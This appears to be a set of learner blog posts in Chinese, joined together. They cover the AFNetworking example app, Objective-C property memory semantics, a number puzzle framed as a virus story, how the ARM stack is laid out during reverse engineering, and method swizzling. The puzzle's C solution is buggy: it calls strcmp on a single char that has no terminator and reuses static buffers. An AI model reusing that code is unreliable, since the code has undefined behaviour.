我主要根据作者polobymulberry的博客AFNetworking源码阅读系列来学习，因为我有很多知识不懂，所以有些地方可能会记录得过于繁琐。原作者的大体流程和记录不变，某些知识点会有自己的补充。在此非常感谢博客作者polobymulberry的分享。

第一次运行运行example时总是出现 Module ‘AFNetworking’ not found 问题，查了好多关于Module的资料，对于问题的解决却没有帮助，后来偶然间在AFNetworking的github上的issues里找到解决办法，真是特别惭愧。应该点击文件夹内的AFNetworking.xcworkspace，而不是其他.xcodeproj文件。

图片1

运行成功后，就开始我们艰难的学习旅程吧！

开始

AppDelegate

此文件主要就是实现函数didFinishLaunchingWithOptions。将windows的rootViewController设置为rootViewController为GlobaltimelineViewController的NavigationController。此处有两点需要注意一下：

第一处

NSURLCache *URLCache = [[NSURLCache alloc] initWithMemoryCapacity:4 * 1024 * 1024 diskCapacity:20 * 1024 * 1024 diskPath:nil];
[NSURLCache setSharedURLCache:URLCache];

NSURLCache 为您的应用的 URL 请求提供了内存中（对应memoryCapacity）以及磁盘上（对应diskCapacity）的综合缓存机制。所以你想使用NSURLCache带来的好处，就需要在此处设置一个sharedURLCache。

第二处

[[AFNetworkActivityIndicatorManager sharedManager] setEnabled:YES];

为了说明AFNetworkingActivityIndicator是什么，直接上图：

图2

当你有session task正在运行时，这个小菊花就会转啊转。这个是自动检测的，只需要你设置AFNetworkingActivityIndicatorManager的sharedManager中的enabled设为YES即可。

这里我简单看了下AFNetworkingActivityIndicatorManager，发现它对外接口不多，比较容易理解它的业务流程。所以我准备在第三部分就将AFNetworkingActivityIndicatorManager的源码拿下。

设置完了cache和AFNetworkingActivityIndicator，接着就是进入GlobalTimelineViewController（UITableViewController）了。这里我学到一个，就是UITableViewController可以使用initWithStyle进行初始化。（因为我对iOS界面不太了解，所以这个initWithStyle现在并不懂）

polobymulberry在开篇画了一个iOS Example的代码结构图，我不太懂MVC，特地查了下。以下是我个人非常粗浅的了解：

• M代表Model，V代表View，C代表Cotroller。这是一种设计模式，是想让各模块分离，视图跟数据处理以及中间的控制协调端各司其职。

• 视图只用于展现APP的界面，用于人和程序的交互。至于你点击按钮后产生的反馈，是由Controller来传递给Model处理，比如点击按钮后，会在文本框内展现文字。则Model从数据库中读取文字并通知Controller，事件已经处理完，Controller收到通知然后决定怎么处理，比如通过outlet控制View展示文字。

• 注意View和Model之间并不直接通信。

  图3

参考自实际案例讲解iOS设计模式——MVC模式

GlobalTimelineViewController

主要是围绕UITableView的delegate和dataSource来说。

1) UITableViewDelegate

主要是计算heightForRowAtIndexPath这个函数比较麻烦（应该是-(CGFloat)tableView:heightForRowAtIndexPath:函数），这里的Cell比较简单，可以直接使用posts中存储的text值来计算高度，核心代码就下面这句：

CGRect rectToFit = [text boundingRectWithSize:CGSizeMake(240.0f, CGFLOAT_MAX) options:NSStringDrawingUsesLineFragmentOrigin attributes:@{NSFontAttributeName: [UIFont systemFontOfSize:12.0f]} context:nil];

对于boundingRectWithSize的使用又增进了一步。（这里我也不懂）

2) UITableViewDataSource

主要是用posts作为数据源，而posts的获取在此处尤为关键，是通过Post本身（model）的globalTimelinePostsWithBlock函数获取数据的，这里作者将网络端的请求放在了model里面。

接着调用了refreshControl控件的setRefreshingWithStateOfTask:。setRefreshingWithStateOfTask:其实是UIRefreshControl+AFNetworking的一个category中定义的。UIRefreshControl+AFNetworking的源码很简单，放在第四部分讲。

注意setRefreshingWithStateOfTask:有一个参数就是NSURLSessionTask*。而这个NSURLSessionTask的获取是调用了Post类中的globalTimelinePostsWithBlock:函数。

在globalTimelinePostsWithBlock:函数中其实封装了一层AFHTTPSessionManager的GET函数

- (nullable NSURLSessionDataTask *)GET:(NSString *)URLString
                            parameters:(nullable id)parameters
                              progress:(nullable void (^)(NSProgress *downloadProgress)) downloadProgress
                              success:(nullable void (^)(NSURLSessionDataTask *task, id _Nullable responseObject))success
                                failure:(nullable void (^)(NSURLSessionDataTask * _Nullable task, NSError *error))failure;

具体细节后面讨论，此处我们知道是根据一个url获取到服务器端的数据即可。注意获取到的数据是JSON格式的，这里作者在Post类，即Model中定义了一个JSON—->Model函数-initWithAttributes，，也就是说模型数据转化部分也放在了model中。

另外，调用GET方法不是直接用AFHTTPSessionManager的manager，而是又定义了一个AFAppDotNetAPIClient，继承自AFHTTPSessionManager。并在其定义的单例模式中简单地封装了一些AFHTTPSessionManager的设置。

+ (instancetype)sharedClient {
       static AFAppDotNetAPIClient *_sharedClient = nil;
       static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        // 初始化HTTP Client的base url，此处为@"https://api.app.net/"
        _sharedClient = [[AFAppDotNetAPIClient alloc] initWithBaseURL:[NSURL URLWithString:AFAppDotNetAPIBaseURLString]];
           // 设置HTTP Client的安全策略为AFSSLPinningModeNone
        _sharedClient.securityPolicy = [AFSecurityPolicy policyWithPinningMode:AFSSLPinningModeNone];
});

    return _sharedClient;
}

知识点：SSL Pinning

Https对比Http已经很安全，但在建立安全链接的过程中，可能遭受中间人攻击。防御这种类型攻击的最直接方式是Client使用者能正确鉴定Server发的证书【目前很多浏览器在这方面做的足够好，用户只要不在遇到警告时还继续其中的危险操作】，而对于Client的开发者而言，一种方式保持一个可信的根证书颁发机构列表，确认可信的证书，警告或阻止不是可信根证书颁发机构颁发的证书。

SSL Pinning其实就是证书绑定，一般浏览器的做法是信任可信根证书颁发机构颁发的证书，但在移动端【非浏览器的桌面应用亦如此】，应用只和少数的几个Server有交互，所以可以做得更极致点，直接就在应用内保留需要使用的具体Server的证书。对于iOS开发者而言，如果使用AFNetwoking作为网络库，那么要做到这点就很方便，直接证书作为资源打包进去就好，AFNetworking会自动加载，具体代码就不贴了，nsscreencast已经有很好的tutorial。

至于model根据网络层获取的数据赋值，除了user的头像那块比较难，因为涉及到UIImageView+AFNetworking等文件，其他部分很简单。而AFNetworking的UIImageView+AFNetworking的部分其实很类似SDWebImage的思路。

Add：BLock作为函数参数

block原本的形式为:

返回值 (^block名称 可省) (参数 可省) ＝ ^{函数体};
调用形式： block名称(参数);

在GlobalTimelineViewController.m - (void)reload: 函数中遇到了第一个block

NSURLSessionTask *task = [Post globalTimelinePostsWithBlock:^(NSArray *posts, NSError *error) {
        if (!error) {
            self.posts = posts;
            [self.tableView reloadData];
        }
    }];

^(NSArray *posts, NSError *error){} 整个block作为参数传递给+ (NSURLSessionDataTask *)globalTimelinePostsWithBlock:函数

参数传递只需要 ^(参数){block函数体}

^表明是block形式

Post.m + (NSURLSessionDataTask *)globalTimelinePostsWithBlock:函数:

+ (NSURLSessionDataTask *)globalTimelinePostsWithBlock:(void (^)(NSArray *posts, NSError *error))block {
                 ......
}

即这个函数的参数为(void (^)(NSArray posts, NSError error))block

(返回值 (^)(参数))block名称

也就是说在block作为函数参数传递时，定义block的这个A函数(globalTimelinePostsWithBlock:)并没有block函数体，而是调用A函数([Post globalTimelinePostsWithBlock:])在传参数时定义block的具体执行内容。

首先，我们需要知道：为什么只有Objective-C对象需要进行内存管理，而其它非对象类型（如基本数据类型）不需要我们来管理呢？

因为： Objective-C 的对象在内存中是以堆的方式分配空间的

• 堆里面的内存是动态分配的，所以也就需要程序员手动的去添加内存、回收内存
• OC对象存放于堆里面(堆内存要程序员手动回收，也就是 release )
• 非OC对象一般放在栈里面(栈内存会被系统自动回收)

例如：

int a = 10;
int b = 20;
Car *c = [[Car alloc] init];

我们知道OC对象一般都是指针形式，大神ibireme在 Objective-C 中的类和对象中提到：

凡是首地址是*isa的struct指针，都可以被认为是objc中的对象。运行时可以通过isa指针，查找到该对象是属于什么类(Class)。

下图可以清楚的表示 OC 中的堆栈分配：

assign 与 weak

基础知识提要

@property 声明的属性，会自动创建 getter,setter 方法。 属性中申明的关键字主要有三大类：

• readwrite/readonly： 是否生成 setter 方法, 默认 readwrite
• assign/weak/strong/copy/retain： setter 方法中如何传递所有权等内存管理策略, ARC 环境默认为 strong
• nonatomic/atomic：是否加线程锁（并不能完全控制线程访问，最好事是自己手动底层加锁，默认 atomic

NSString 的引用计数LLVM是有优化的，并不是简单根据设定的关键字来判断。本文只是为了方便易懂，以这个类作为例子。

assign

如果设置 assign ，在 setter 方法中是这样的：

- (void)setCarName:(NSString *)name {
    _carName = name;  //默认是有下划线的
}

也就是说成员变量 _name 并没有获得 name 所指的对象的所有权，原来对象 @“Amywushu” 的 retainCount 不会改变。一旦 name 被释放，_carName 也就不再指向一个合法的位置，出现指针悬空，如下图所示，相当于 _carName （图中为 carName ）指向的 name，但实际上 _carName 是指向OC对象的，这里只是为了方便理解。

assign/weak 的区别

ARC 中 OC 对象已经不再使用 assign 了，而是使用 weak ，两者的区别在： weak 弱引用所指的对象没有被任何strong指针指向，那么就将被销毁，所有指向这个对象的 weak 指针也将被置为 nil 。而 assign 不会被置为 nil 。但对于非 OC 对象来讲，因为其存储空间在栈上，由系统管理内存，所以一般还是使用 assign。

unsafe_unretained

unsafe_unretained 的语义与 assign 类似，相当于用于 OC 对象类型的 assign 。使用这个关键字主要出于性能考虑，因为 weak 对性能有一些影响，因此对性能要求高的地方可以考虑使用 unsafe_unretained 替换 weak 。比如 YYModel 的实现，为了追求更高的性能，其中大量使用 unsafe_unretained 作为变量标识符。

retain 与 strong

知识点:

MRR内存管理基本原则

1. 为创建的所有对象设置所有权
2. 应使用retain方法获取对象（你尚未拥有）的所有权
3. 当不再使用某个对象时，必须放弃其所有权
4. 不能放弃不归你所有的对象的所有权

//对象通过 alloc 消息创建后，变量 atom 就拥有了该对象的所有权（原则1）
Atom *atom = [[Atom alloc] init];
//变量 href 获取了这个对象的所有权（原则2），不能写成 Atom *href = atom; 
//这样写的话 href 没有获取对象的所有权，一旦 atom 释放了，href 就不再指向一个合法的位置，出现指针悬空。
Atom *href = [atom retain];
// 变量 atom 释放，但 href 依旧拥有该对象的所有权
[atom release];
// 变量 href 释放，对象引用计数变为 0 ，运行时系统可以释放对象了
[href release];

——引用自[精通Objective-C]内存管理

如果设置 retain ，在 setter 方法中是这样的：

- (void)setCarName:(NSString *)name {
    if (_carName != name) {
        [_carName release];
        _carName = [name retain];
    }
}

也就是说，retain/strong 会在 setter 方法中，对传入的对象 "Amywushu" 进行引用计数 +1 的操作。简单来说，就是会拥有传入对象 "Amywushu" 的所有权，而不是像 assign/weak 一样，依赖于传入的对象指针 name ，而并非拥有实际所有权。

相当于一个保险柜拥有两把钥匙，变量解除所有权 (release) ，也就相当于归还钥匙。当两把钥匙都被归还之后，这个保险柜（对象）也就会被释放。只要拥有该对象的所有权（至少有一把钥匙没有归还），这个对象就不会被释放。

如图所示，_carName 和 name 均拥有对 Amywushu 这个字符串对象的所有权，该对象的引用计数变为 1+1=2 。

strong 是在 iOS 引入 ARC 的时候引入的关键字，是retain的一个可选的替代。 strong 跟 retain 的意思相同并产生相同的代码，但是语意上更好更能体现对象的关系。

关于 strong 和 weak 还有什么不清楚的话，可以学习 onevcat 的手把手教你ARC——iOS/Mac开发ARC入门和使用这篇文章，讲得非常清晰易懂。

copy 与 mutableCopy

copy 、mutableCopy 与 strong 的区别在于，深拷贝时，示例变量对于传入对象的副本拥有所有权，而不是对象本身；浅拷贝时，则没有区别。
如果设置 copy ，在 setter 方法中是这样的：

- (void)setCarName:(NSString *)name {
    if (_carName != name) {
        [_carName release];
        _carName = [name copy];
    }
}

如上图所示，原来对象的 retainCount 不变，新 copy 出来的对象副本的 retainCount=1 ，原对象引用计数不变，两者 copy 之后互不相关，这是深拷贝。

• 深拷贝与浅拷贝

深拷贝： 是对内存空间的拷贝，也就是这里的 copy（数组等类型例外）
浅拷贝： 是对内存地址的拷贝，也就是上面的 retain/strong，以及 copy 的某些情况
深拷贝和浅拷贝比较复杂，我的另一篇文章有具体讲解copy 与 mutableCopy（传说中的深浅拷贝，这里只是简要提及一下。

注意！ 如果是 copy 的是一个 NSArray 呢? 比如：

NSArray *array = [NSArray arrayWithObjects:@"hello",@"world",@"baby"];
NSArray *array2 = [array copy];

这个时候,系统的确是为 array2 开辟了一块内存空间,但是我们要知道的是, array2 中的每个元素,,只是 copy 了指向 array 中相对应元素的指针，这是“单层深拷贝”.

一般来说，不要将 copy 用到 NSMutableString ，NSMutableArray ，NSMutableDictionary 等可变对象上，除非有特别的需求。

例如:

@interface ViewController ()
@property (nonatomic, copy) NSMutableArray *mutableArray_copy;
@end
@implementation ViewController
- (void)viewDidLoad {
    [super viewDidLoad];
    NSMutableArray *mutableArray = [NSMutableArray arrayWithObject:@"123"];
    self.mutableArray_copy = mutableArray;
    [self.mutableArray_copy addObject:@"456"];
}

运行则会报出错误 signal SIGABRT

我们明明在代码里用的 NSMutableArray 这个可变数组，为什么错误里会说是在向 NSArray 这个不可变数组，调用 addObject: 这个方法呢？（ __NSArrayI 表示的是 NSArray 类型）。
是因为在 self.mutableArray_copy = mutableArray; 这一句的时候，会调用 mutableArray_copy 的 setter 方法， copy 属性默认 setter 方法是这样写的:

- (void)setMutableArray_copy:(NSMutableArray *)mutableArray_copy {
    _mutableArray_copy = [mutableArray_copy copy];
}

setter 方法里调用的是 copy，而不是 mutableCopy ，也就是说拷贝过来的是不可变的 NSArray 类型。那么 NSMutableArray 的添加元素等方法自然就不能使用了。
解决方法为：将 copy 改为 strong ；或者重写 setter 方法，将 copy 改为 mutableCopy 。

copy 现在都比较少用，一般用于 NSString 。因为父类指针可以指向子类对象，NSMutableNSString 是 NSString 的子类，使用 strong 的话虽然 NSString 是不可变对象，但是它传入的值可能会是 NSMutableString 可变对象，如果这个可变对象的内容在其他地方被修改了，那 NSString 指针所指的对象也随之改变了，而其本身可能对此毫不知情。因此一般用 copy 。

nonull nullable null_resettable

这三个属性关键字是 WWDC2015 中介绍的 OC 新特性，与 Swift 中的 ? 和 ! 类似。

• nonull：该属性不能为 nil ,必须有值。
• nullable：表示可选的，可以为 nil。
• null_resettable：表示 setter 方法是 nullable ,可以为 nil；而 getter 方法是nonull ，必须有值。

总结

总的来说，就是内存处理方式不一样，assign/weak 相当于借用传入的指针变量来指向对象（实际上并不是，可以这样理解），retain/strong 相当于不同的指针变量指向同一个对象，copy 则是在内存里复制了一个对象并指向它。读写属性以及原子性比较简单，不再赘述。

关于 atomic 的锁机制，以及 ARC 机制到底如何进行的内存管理，之后会进一步学习。敬请期待。

2016.12.07 补充：

新增博文： ARC 是如何进行内存管理的

Reference

[1] Objective-C 内存管理——你需要知道的一切　https://segmentfault.com/a/1190000004943276
[2] @property属性关键字详解　http://www.wugaojun.com/blog/2015/07/25/at-propertyshu-xing-guan-jian-zi-xiang-jie/
[3] Objective-C 的自动引用计数（ARC）　https://hran.me/archives/objective-c-automatic-reference-counting.html
[4] Objective-c 内存管理的历史和参考资料　http://www.pchou.info/ios/2015/06/05/oc-memory-management.html

小B最近对破解和程序攻击产生了兴趣，她迷上了病毒，然后可怕的事情发生了。不知道什么原因，可能是小B的技术水平还不够高，小B编写的病毒程序在攻击一个服务器时出现了问题。尽管成功的入侵了服务器，但并没有按照期望的方式发挥作用。

小B的目的很简单：控制服务器内存区域，试图在内存中装入从1到n之间的n个自然数，以覆盖内存区域。可能是小B对编程理解上的问题，病毒似乎没有完全成功。可能是由于保护机制的原因，内存写入只接受二进制的形式，所以十进制表达中除了0和1之外的其他值都没有成功写入内存。小B希望知道，究竟有多少数成功的写入了服务器的内存！

输入

输入中有多组测试数据，每组测试数据在单独的一行中，为整数n（1<=n<=10^9）。

输出

对每组测试数据，在单独的行中输出问题的答案。

举例

输入：10
输出： 2

输入：20
输出：3

代码

 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
/**
 *  1. 输入的字符数组从最高位开始依次与1做比较
 *  2. 小于等于1 取原值，并比较下一位，如果没有下一位，则返回；
 *  3. 大于1，则其后的位数都取1，并返回；
 *  4. 将得到的字符数组看作二进制，并转化为十进制。
 *
 */
static char addarray[10] = "";
static char array1[10] = "";
char * fun(char *cstring, int n) {
    char compareString = *(cstring + n);
    char *onestring = "1";
    char array[10] = "";
    char *rec = "";
    if (strcmp(onestring,&compareString) >= 0) {  //compareString <= 1
        array[0] = compareString;
        if (*(cstring+n+1)) {
            strcat(array, fun(cstring, n+1));
            strcpy(addarray, array);
            rec = addarray;
        }
        else
            rec = cstring + n;
    }
    else {         //compareString > 1
        for (int i = 0; i < (strlen(cstring) - n); i++) {
            strcat(array1, onestring);
        }
        rec = array1;
    }
    return rec;
}
int main(int argc, const char * argv[]) {
  
    char nstring[10];
    printf("Input String:");
    scanf("%s", nstring);
  
    char *resultString = fun(nstring, 0);
    printf("%s\n", resultString);
  
    long result = strtol(resultString, NULL, 2);
    printf("%ld\n", result);
  
    return 0;
}

输出：

Input String:20
11
3

Input String:1040
1011
11

Input Stirng:2300304
1111111
127

知识点总结

关于字符数组和字符串在函数间的传递

从代码中可以看到我用了两个静态数组变量，之所以不直接定义在函数体内作为局部变量是因为：

当用字符指针char*返回字符数组首地址时，函数体内的局部变量数组里的值已经被释放，返回的首地址虽然没有变，但里面的值已经无意义了。

例如：

#include "stdio.h"
  
  char *test()
  {
      //char tmp[30]="测试";
      char *tmp="测试";//写成这样可以用指针返回数组首地址
     return tmp;
 }
 
 void main(void)
 {
     printf("%s",test());
 }

打印出来的值可能是乱码也能为nil。
解决方式：
1. static全局变量

#include "stdio.h"
 
char *test()
{
     static char tmp[30]="static测试";
     return tmp;
}
 
 void main(void)
{
    printf("%s",test());
}

在数组tmp[30]前面加入了static关键字，它就使得tmp[30]存放在内存中的静态存储区中，所占用的存储单元一直不释放，直到整个程序运行结束。所以当主函数调用完print()函数后，该空间依然存在。所以main()函数中接到首地值后可以访问数组中的元素。

2. 结构体作为返回值

#include "stdio.h"
#include "string.h"
struct ret
{
    char buf[30];
};
 
 struct ret test(char *tmp)
{
    struct ret a;
    strcpy(a.buf,tmp);
    return a;
}
void main(void)
{
    struct ret b;
    b=test("用结构体作为返回值传递数组");
    printf("%s",b.buf);
}

两点注意：

1、数组之间的赋值不要直接，即不要直接将数组 A 赋给数组 B，而是要用strcpy（字符型数组）或者memcpy（非字符型数组）。

2、用结构体定义变量和函数时不要忘了结构体名（上面程序的ret）。

Reference

[1] 【原】C语言函数返回数组的问题　http://www.cnblogs.com/wuqi1003/archive/2013/01/09/2853657.html
[2] C语言中字符串如何转换为二进制、八进制、十进制、十六进制　 　http://blog.csdn.net/edonlii/article/details/9162769
[3] C语言之strcat函数　http://blog.csdn.net/hgj125073/article/details/8439448
[4] C语言strcmp()函数：比较字符串（区分大小写）　http://c.biancheng.net/cpp/html/162.html

ARM内存中的栈区域是满递减的，由高地址向低地址增长，SP指针始终指向最后一个压入栈的地址，即栈顶地址。如图所示：

为什么栈向下增长？

每一个可执行C程序，从低地址到高地址依次是：text，data，bss，堆，栈，环境参数变量；其中堆和栈之间有很大的地址空间空闲着，在需要分配空间的时候，堆向上涨，栈往下涨。

这样设计可以使得堆和栈能够充分利用空闲的地址空间。如果栈向上涨的话，我们就必须得指定栈和堆的一个严格分界线，但这个分界线怎么确定呢？平均分？但是有的程序使用的堆空间比较多，而有的程序使用的栈空间比较多。

所以就可能出现这种情况：一个程序因为栈溢出而崩溃的时候，其实它还有大量闲置的堆空间呢，但是我们却无法使用这些闲置的堆空间。

所以呢，最好的办法就是让堆和栈一个向上涨，一个向下涨，这样它们就可以最大程度地共用这块剩余的地址空间，达到利用率的最大化！！

—— 引用自判断栈和堆的生长方向

如何判断栈的增长方向？

很简单，我们可以通过两个函数的调用来确定。我们知道，执行一个函数时，这个函数的相关信息都会出现栈之中，比如参数、返回地址和局部变量。

那么，当它调用另一个函数时，在它栈信息保持不变的情况下，会把被调用函数的信息放到栈中。两个函数的相对信息位置是固定的，肯定是先调用的函数其信息先入栈，后调用的函数其信息后入栈。只需要判断这两个地址，就可以判断栈的增长方向了。

比如设计两个函数fun1()和fun2()，将fun1()中某参数的地址传给fun2()，且在fun1()中调用fun2()，最后在fun2()中打印出两个函数参数的地址，则大功告成。

void func2(int *a)
{
    int b=0;
    printf("%x\n%x\n",a,&b);
}
void func1()
{
    int a=0;
    func2(&a);
}
int main()
{
    func1();
}

我这边测试打印出来分别是5fbff91c 5fbff8f4 （我用的Xcode 的 command line 测试的）。即a 的地址 > b的地址，先分配的是高地址，因此是高地址向低地址增长。

如何区分栈底和栈顶？

很容易将分不清高地址和低地址到底谁才是栈底。我们可以想象一个桶，这个桶内的空间就是栈区，桶底（栈底）是确定了的，不会改变。往桶内加水，即使入栈操作。水面即是栈顶，也就SP指针所在的位置。我们不断加水，只会使得水面（栈顶SP指针）增长，而水底（栈底指针）仍旧不变。而栈区又是高地址向低地址增长，因此栈区的最高地址是为栈低，SP指针是栈顶指针。

只不过，在实际应用情况中，我们经常习惯将栈底指针（最高地址处）放在最上面，SP指针在最下面，也就是一个倒扣着的桶，在失重情况下，往倒扣的桶里加水，水底仍然是栈底指针，水面仍然是栈顶指针，水面随着水的加入而增长。

实例

在逆向过程中，我一直对栈的数据排列非常迷惑，现在让我们一起来解决它吧！
以下是我逆向遇到的一个小实例：

在图中我们可以看到目前运行到第三行代码stp x9, x10, [sp, #8]处，stp指令是将寄存器中的值依次存入后面的地址处。我们先打印一下x12 x8以及sp的值：

那么也就是说第二条指令stp x12, x8, [sp, #24]已经将x12和x8的值存入了sp+24地址处。

那么我们仔细想想，究竟这两个值在栈上是如何排列的呢？先存入的是x12还是x8呢？第二参数是在sp+24的高地址处还是低地址处呢？

我们打印一下内存上的信息看一下就知道了：

/4xb: 就是说从该地址开始，按照1个字节，16进制的方式打印4个单位。
/4xw: 按照4个字节，16进制的方式打印4个单位

更多有关打印格式的请看gdb查看内存区命令

跟上面x12和x8比较后，我们可以发现，内存在打印的时候，每个打印单位（这里是以w格式打印，即4个字节）我们要从右往左看（从高地址到低地址），单位内部还是从左到右为高地址到低地址。也就是说，第一个打印单位的最右边是当前打印地址（最低地址），最后一个打印单位的最左边是最高地址。如下图所示，图中箭头为从高地址指向低地址：

那么，也就是说，
x12存储在从sp+24 (0x16fd11cc8)到sp+31 (0x16fd11ccf)之间
x8 存储在从sp+32 (0x16fd11cd0) 到sp+39 (0x16fd11cd7)之间

则他们之间的具体排列如下图所示

小测试（第3、4行命令）

现在我们大概对数据的排布有一个更深入的理解了，那么，就以第三行命令来测试一下我们是否真的理解了吧！
在执行第三条命令之前，我们先看一下x9，x10的值：

那么，按照上一条命令的方式，我们来猜测一下内存排布吧。
stp x9, x10, [sp, #8] 这条命令的意思是，将x9，x10中的值依次放入sp+8所在的位置。那么，到底是存储在sp+8的高地址处，还是低地址处呢？

其实很好理解，因为栈是向低地址处增长的，如果我们往sp到sp+8处写入这两个寄存器的值，很明显是不够的，这里只有8个字节的空间，而我们需要16个字节，因此sp指针就会往低地址处移动，则栈空间就增大了，但是sp指针并没有改变，这些指令都没有关于要改变栈顶指针的，所以这个想法是错误的。

也就是说，在往栈内存储数据时，都在高地址到给定的地址之间存入，即向栈中已分配的空间存入。

那么，x9，x10依次存储在sp+8 ~ sp+15，sp+16 ~ sp+23之间。

按照之前讲的打印单位与单位之间是从右往左为从高地址到低地址，单位内的顺序是从左往右，1个地址存储1个字节（8位，两个字符）。
我们按照一个字节一个字节的打印（16进制），则

• 在sp+8 ~ sp+15处的数据应为：64 c3 af 0b 00 00 00 00；
• 在sp+16 ~ sp+31处的数据应为：86 dd a9 b1 00 00 00 00。

如果我们按照4xw的格式打印，则应该是sp+8: 0x0bafc364 0x00000000，sp+16: 0xb1a9dd86 0x00000000

我们打印一下看看猜测是否正确：

完全正确！
我们继续往下执行第4条命令：
str x11, [sp]这条命令的意思是，将x11中的值放入sp所指的地方。我们知道sp是栈顶指针，是栈的最后一个元素所在的位置，所以x11肯定是存储在sp到sp+8之间。
打印一下x11的值：

那么，依旧按照之前的方法，每个打印单位，要从右往左看：

• 那么sp的地址0x16fd11cb0到sp+8 (0x16fd11cb8)之间依次应该为ef e1 0f db 00 00 00 00；
• 按照4xw的打印格式则应该为：0x16fd11cb0: 0xdbofelef 0x00000000 0x0bafc364 0x00000000 （sp+8 ~ sp+15是刚刚我们执行过的x9的值）

打印一下：

完全正确！
好了，现在关于内存栈的数据排列，你是不是有更清晰的图像印在脑海里了呢？

Method Swizzling 其实就是利用了 runtime 机制，替换了调用的方法（method）的实现（imp）。很多人一看到有 runtime 就头疼了，跟 runloop 一样，由于被太多大牛提起，反而心生胆怯，觉得是一个很难理解的机制。

runtime 运行时机制，主要是在 OC 和 C 语言（或汇编语言）之间架了一座桥梁。比如我之前的文章 通过汇编解读 objc_msgSend 中提到的调用方法的本质是发送消息，方法调用是 OC 中的，而消息发送，找到方法的入口则是 C （或汇编）中的。这其中转换的过程，就是 runtime。

runtime 是一个使用 C 语言以及汇编写的动态库。它封装了一些 C 语言的结构体和函数，这些函数可以让使用者在运行时创建、查看、修改类，对象以及方法等。同时也执行着较为底层的传递消息，寻找方法的执行代码的操作。

在使用 runtime 时，一般需要引入 <objc/runtime.h> 头文件。

实现原理

Method Swizzling，正如之前所提到的，本质就是替换了方法的实现。在 OC 中调用一个方法，这个方法的本质是一条消息，而这条消息的本质，就是一个 selector。也就是说 selector 就代表着这个方法，比如在程序中，我们经常会使用 @selector() 这样的方式来调用另一个方法。

每个类都存储着一个方法列表，又叫调度表（dispatch table），这个表是 selector 与方法的具体实现 IMP 的对应关系，类似于函数名和函数指针。IMP 指向的是方法的具体实现。

1. 交换两个方法的实现。也就是说你调用方法 A，但其实是跳到方法 B 的执行代码中。
2. 修改调用方法的类，那么调用 A 类的方法1，其实是调用 B 类的方法1。
3. 直接设置某个方法的 IMP，那么调用这个方法时，也就直接跳到另外一个 IMP 处了。
   ……

总而言之，都是替换了 selector 对应的 IMP。这就是 Method Swizzling 所做的事情。

上面两张图均来自念茜的博客。

概念区分：

• Selector（typedef struct objc_selector *SEL）:在运行时 Selector 用来代表一个方法的名字。Selector 是一个在运行时被注册（或映射）的C类型字符串。 Selector 由编译器产生并且在当类被加载进内存时由运行时自动进行名字和实现的映射。
• Method（typedef struct objc_method *Method）:方法是一个不透明的用来代表一个方法的定义的类型。 相当于 SEL + IMP 。
• Implementation（typedef id (*IMP)(id, SEL,…)）:这个数据类型指向一个方法的实现的最开始的地方。该方法的第一个参数指向调用方法的自身（即内存中类的实例对象，若是调用类方法，该指针则是指向元类对象 metaclass）。第二个参数是这个方法的名字 selector，该方法的真正参数紧随其后。

常用方法

1. 通过 SEL 获取一个方法 Method
   Method class_getInstanceMethod(Class cls, SEL name);
2. 通过 Method 获取该方法的实现 IMP
   IMP method_getImplementation(Method m);
3. 返回一个字符串，描述了方法的参数和返回类型
   const char * method_getTypeEncoding(Method m);
4. 通过 SEL 以及 IMP 给一个类添加新的方法 Method，其中 types 就是 method_getTypeEncoding 的返回值。
   BOOL class_addMethod(Class cls, SEL name, IMP imp, const char *types);
5. 通过给定的 SEL 替换同一个类中的方法的实现 IMP，其中 SEL 是想要替换的 selector 名，IMP 是替换后的实现。
   IMP class_replaceMethod(Class cls, SEL name, IMP imp, const char *types);
6. 交换两个方法的实现 IMP
   void method_exchangeImplementations(Method m1, Method m2);

class_replaceMethod、method_exchangeImplementations 这两个方法的不同之处在于，前者只是将方法 A 的实现替换为方法 B 的实现，而方法 B 的实现并没有改变。后者则是交换了两个方法的实现。

示例

Methode Swizzling 有一个常用场景：我想给 app 中每个视图控制器的 viewDidAppear: 方法中添加 log。无论是简单粗暴的给所有视图控制器添加代码，还是通过继承的方式，都会有大量的重复代码出现。

我们可以考虑一种新的方式：在 category 中实现 method swizzling。

#import <objc/runtime.h>

@implementation UIViewController (Tracking)

+ (void)load {
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        Class class = [self class];

        // 取得 SEL
        SEL originalSelector = @selector(viewWillAppear:);
        SEL swizzledSelector = @selector(xxx_viewWillAppear:);

        // 取得 Method （对象方法）
        Method originalMethod = class_getInstanceMethod(class, originalSelector);
        Method swizzledMethod = class_getInstanceMethod(class, swizzledSelector);

        // 如果是类方法的话，使用下面的代码
        // Class class = object_getClass((id)self);
        // ...
        // Method originalMethod = class_getClassMethod(class, originalSelector);
        // Method swizzledMethod = class_getClassMethod(class, swizzledSelector);

        BOOL didAddMethod =
            class_addMethod(class,
                originalSelector,
                method_getImplementation(swizzledMethod),
                method_getTypeEncoding(swizzledMethod));

        if (didAddMethod) {
            class_replaceMethod(class,
                swizzledSelector,
                method_getImplementation(originalMethod),
                method_getTypeEncoding(originalMethod));
        } else {
            method_exchangeImplementations(originalMethod, swizzledMethod);
        }
    });
}

#pragma mark - Method Swizzling

- (void)xxx_viewWillAppear:(BOOL)animated {
    [self xxx_viewWillAppear:animated];
    NSLog(@"viewWillAppear: %@", self);
}

@end

上面的代码中， class_addMethod 方法只是为了作一个判断，检测 self 是否已经有了 originalSelector 方法。如果没有这个方法，就会添加一个 SEL 为 originalSelector 的方法，并将 swizzledSelector 的实现赋给它。接着会进入 if (didAddMethod) 分支。

　　这里有一个值得注意的地方，就是如果在 self 中没有实现这个方法，而父类中有实现，那么在 if (didAddMethod) 分支中，其实是将父类的 originalSelector 的实现赋给 swizzledSelector，也就是说会调用父类的方法。
　　如果父类也没有实现，消息转发也找不到这个方法，那么才是调用之前添加进入 class 的 originalSelector。结果就是 originalSelector 和 swizzledSelector 的实现均为 xxx_viewWillAppear: 。

如果 self 中已经有了这个方法，那么 class_addMethod 方法就会失败，直接进入 else 分支交换 IMP。

一个容易让人疑惑的点是：在 xxx_viewWillAppear: 的方法内部又调用了 [self xxx_viewWillAppear:animated]; 这是因为两个方法的 IMP 已经被调换，这里其实是调用原来的 viewWillAppear: 方法的实现。

